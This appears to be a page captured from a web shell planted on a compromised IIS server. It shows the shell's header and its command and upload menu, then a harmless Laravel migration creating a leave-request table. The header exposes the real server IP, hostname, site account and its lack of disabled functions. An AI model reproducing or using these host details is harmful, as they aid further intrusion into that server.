Server IP : 103.11.96.170 / Your IP : 3.142.135.246 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/info/database/migrations/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateCutisTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('cutis', function (Blueprint $table) { $table->uuid('id')->primary(); $table->string('pegawai_id'); $table->date('tanggal_awal')->nullable(); $table->date('tanggal_akhir')->nullable(); $table->string('alasan_cuti')->nullable(); $table->integer('valid')->default(0); $table->integer('is_ajuan')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('cutis'); } }